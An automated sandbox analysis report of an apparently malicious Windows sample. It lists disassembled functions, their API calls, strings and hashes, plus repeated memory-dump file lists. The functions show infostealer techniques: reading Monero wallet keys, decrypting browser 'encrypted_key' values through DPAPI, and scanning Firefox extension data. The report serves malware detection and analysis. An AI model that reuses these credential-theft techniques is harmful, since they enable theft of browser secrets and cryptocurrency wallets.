Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 97559932c1d29ec085668a0e25b11f96bca4606a026eb8f366b15e7e2e809f76
Instruction ID: d6ffc9b9fc95058f3404cfa4c31e5175fee011c06f0c84c597251cff14cdf1dd
Opcode Fuzzy Hash: 97559932c1d29ec085668a0e25b11f96bca4606a026eb8f366b15e7e2e809f76
Instruction Fuzzy Hash: 602145B1A40204AFDB14DF94ED45FAEBBB8FF48711F10411DF519A7284C7799941CBA1

Function 00FC8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00FC951E,00000000), ref: 00FC8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00FC8D62
wsprintfW.USER32 ref: 00FC8D78

Strings

%hs, xrefs: 00FC8D6F

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: ebde4c9f95ee8d98aa174a1a2a44471ae383abf8dbd0c3c03eb0d5d2dc883173
Instruction ID: 90b577a719f1b63bf012ab3574f7b16841afbf3b806d09f3860d7c71333e553d
Opcode Fuzzy Hash: ebde4c9f95ee8d98aa174a1a2a44471ae383abf8dbd0c3c03eb0d5d2dc883173
Instruction Fuzzy Hash: A1E08CB1A40208BFC724DB94E80AE6977B8EF44702F0001A8FD0E87280DAB59E409B91

Function 00FBA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FC8B60: GetSystemTime.KERNEL32(00FD0E1A,00C8A450,00FD05AE,?,?,00FB13F9,?,0000001A,00FD0E1A,00000000,?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FC8B86

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FBA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00FBA3FF
lstrlen.KERNEL32(00000000), ref: 00FBA6BC

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

DeleteFileA.KERNEL32(00000000), ref: 00FBA743

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 1447707e4242ea490068081806018d61168f43a41ecb67475d3c93d6d00ddcd3
Instruction ID: 21ca0e65dff4f0f7aaf1427637991e22807d002674151c3fc9586a6d8cff4e6c
Opcode Fuzzy Hash: 1447707e4242ea490068081806018d61168f43a41ecb67475d3c93d6d00ddcd3
Instruction Fuzzy Hash: EAE1DB7281010D9BDB18EBA4DE93FEE7338AF54304F50816DF51672091EE387A49EB66

Function 00FBD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FC8B60: GetSystemTime.KERNEL32(00FD0E1A,00C8A450,00FD05AE,?,?,00FB13F9,?,0000001A,00FD0E1A,00000000,?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FC8B86

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FBD481
lstrlen.KERNEL32(00000000), ref: 00FBD698
lstrlen.KERNEL32(00000000), ref: 00FBD6AC
DeleteFileA.KERNEL32(00000000), ref: 00FBD72B

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a75bfe8e350782005c121ae9a14b5029058e4fae62073dcbe7bdebca387d1896
Instruction ID: 7e873073a0e6edc34a273b52b12469a10ce51a73c8f5adaa84402bd04da29c83
Opcode Fuzzy Hash: a75bfe8e350782005c121ae9a14b5029058e4fae62073dcbe7bdebca387d1896
Instruction Fuzzy Hash: 67910C7281010D9BDB18EBA0DE97FEE7338AF54304F50416DF516A6091EF387A49EB62

Function 00FBD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FC8B60: GetSystemTime.KERNEL32(00FD0E1A,00C8A450,00FD05AE,?,?,00FB13F9,?,0000001A,00FD0E1A,00000000,?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FC8B86

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FBD801
lstrlen.KERNEL32(00000000), ref: 00FBD99F
lstrlen.KERNEL32(00000000), ref: 00FBD9B3
DeleteFileA.KERNEL32(00000000), ref: 00FBDA32

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9b1df329743b4e179e564fb43d0c3fe5453dc7120fbb76d7c4b26955cb8d63fe
Instruction ID: d5d09f1522e42409ef83b769e177af14e2bb0e62b68ae190203567afebf6f8df
Opcode Fuzzy Hash: 9b1df329743b4e179e564fb43d0c3fe5453dc7120fbb76d7c4b26955cb8d63fe
Instruction Fuzzy Hash: D181FB7291010D9BDB18EBA0DE97FEE7338AF54304F50412DF416A60D1EE387A49EB62

Function 00FBF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FB99EC
Part of subcall function 00FB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FB9A11
Part of subcall function 00FB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FB9A31
Part of subcall function 00FB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FB148F,00000000), ref: 00FB9A5A
Part of subcall function 00FB99C0: LocalFree.KERNEL32(00FB148F), ref: 00FB9A90
Part of subcall function 00FB99C0: CloseHandle.KERNEL32(000000FF), ref: 00FB9A9A

Part of subcall function 00FC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FC8E52

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00FD1580,00FD0D92), ref: 00FBF54C
lstrlen.KERNEL32(00000000), ref: 00FBF56B

Strings

^userContextId=4294967295, xrefs: 00FBF59C
moz-extension+++, xrefs: 00FBF5AD

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 0c390623aa0613bfee079ee516af0e9bd22816d76d49bfb401b0fc5b306792d3
Instruction ID: ccf0fbabeaa53f18e2c0c0134953871201edf12fee75785910061f7ad67edfbe
Opcode Fuzzy Hash: 0c390623aa0613bfee079ee516af0e9bd22816d76d49bfb401b0fc5b306792d3
Instruction Fuzzy Hash: 32511C71D0010DABDB04FBA0ED97EED7339AF54304F40852CE816661D1EE387A09EBA2

Function 00FC3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 39f3bdf59209a6d5bd01ddd9e6862b0a08cb8250903e8f8a2c8967ea8e50072a
Instruction ID: 330f0f1b3559a7c4fcdd36fc2b1e7ee363f55b3edc82b6e1fd6252a01c4ae368
Opcode Fuzzy Hash: 39f3bdf59209a6d5bd01ddd9e6862b0a08cb8250903e8f8a2c8967ea8e50072a
Instruction Fuzzy Hash: 75413D71D1010AABCB04EFA4DA46FEEB775EF44704F14801CE41667280EB79AA05EFA2

Function 00FB9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FB99EC
Part of subcall function 00FB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FB9A11
Part of subcall function 00FB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FB9A31
Part of subcall function 00FB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FB148F,00000000), ref: 00FB9A5A
Part of subcall function 00FB99C0: LocalFree.KERNEL32(00FB148F), ref: 00FB9A90
Part of subcall function 00FB99C0: CloseHandle.KERNEL32(000000FF), ref: 00FB9A9A

Part of subcall function 00FC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FC8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00FB9D39

Part of subcall function 00FB9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FB4EEE,00000000,00000000), ref: 00FB9AEF
Part of subcall function 00FB9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00FB4EEE,00000000,?), ref: 00FB9B01
Part of subcall function 00FB9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FB4EEE,00000000,00000000), ref: 00FB9B2A
Part of subcall function 00FB9AC0: LocalFree.KERNEL32(?,?,?,?,00FB4EEE,00000000,?), ref: 00FB9B3F

Part of subcall function 00FB9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00FB9B84
Part of subcall function 00FB9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00FB9BA3
Part of subcall function 00FB9B60: LocalFree.KERNEL32(?), ref: 00FB9BD3

Strings

DPAPI, xrefs: 00FB9D89
, xrefs: 00FB9DC1
"encrypted_key":", xrefs: 00FB9D30

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 894e52a534e6c83e28f5d85f0dcbf932e2b49e9cbf2cdc1f5bbad39584d38715
Instruction ID: a4ee0ddb2c4dca844732213f9a6c7d159e4aecbd63fad215f5af9e9b3d9381e8
Opcode Fuzzy Hash: 894e52a534e6c83e28f5d85f0dcbf932e2b49e9cbf2cdc1f5bbad39584d38715
Instruction Fuzzy Hash: E3317EB6D00209ABCF04DBE5DC86EEEB7B8BF48304F144519EA01A3241EB749A04DBA1

Function 00FC92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00FC3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00FC3AEE,?), ref: 00FC92FC
GetFileSizeEx.KERNEL32(000000FF,00FC3AEE), ref: 00FC9319
CloseHandle.KERNEL32(000000FF), ref: 00FC9327

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: e6d2f9fb9f92240eb22bd8c05a3bf0ff79f68253756f3e6a63c813f0a6ef57e9
Instruction ID: 434f8857262482add88784a44beb2b3318054ad78dc63fc63b7dfa9eb5fe76f3
Opcode Fuzzy Hash: e6d2f9fb9f92240eb22bd8c05a3bf0ff79f68253756f3e6a63c813f0a6ef57e9
Instruction Fuzzy Hash: A8F0A435E04204BBDB24DFB0ED49F9E77F9AB48320F10C658B615A71C4D7B5A6419F40

Function 00FCC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00FCC74E

Part of subcall function 00FCBF9F: __amsg_exit.LIBCMT ref: 00FCBFAF

__getptd.LIBCMT ref: 00FCC765
__amsg_exit.LIBCMT ref: 00FCC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00FCC797

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
